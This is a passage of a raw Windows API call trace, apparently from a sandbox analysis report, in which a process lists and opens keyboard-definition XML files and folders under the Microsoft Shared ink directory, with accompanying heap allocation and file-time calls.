(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.815] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0046.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0b88 [0046.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e2e08 [0046.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.823] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0046.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0ba8 [0046.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e2f10 [0046.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.830] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0046.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0bc8 [0046.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e3018 [0046.839] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.845] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0046.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0be8 [0046.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e3638 [0046.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.870] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0046.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0046.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0c08 [0046.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e3740 [0046.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0046.914] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0046.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0c28 [0047.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e3848 [0047.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.005] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0047.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0c48 [0047.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e3950 [0047.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.005] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0047.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0c68 [0047.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e3a58 [0047.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.005] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0047.005] GetLastError () returned 0x12 [0047.005] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0047.006] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0047.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0047.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0047.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0047.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0047.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0047.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0047.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0047.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0047.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0047.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0047.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0047.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0047.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0047.006] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0047.006] GetLastError () returned 0x12 [0047.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e22b0) returned 1 [0047.006] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e23b8) returned 1 [0047.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0047.029] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0047.029] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0047.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0047.029] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0047.030] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0047.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5620 [0047.030] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5620, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5620, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0047.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5620) returned 1 [0047.030] NtClose (Handle=0x16c) returned 0x0 [0047.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0047.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0047.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e23b8 [0047.030] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0047.030] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.030] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0047.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e22b0 [0047.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0c88 [0047.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 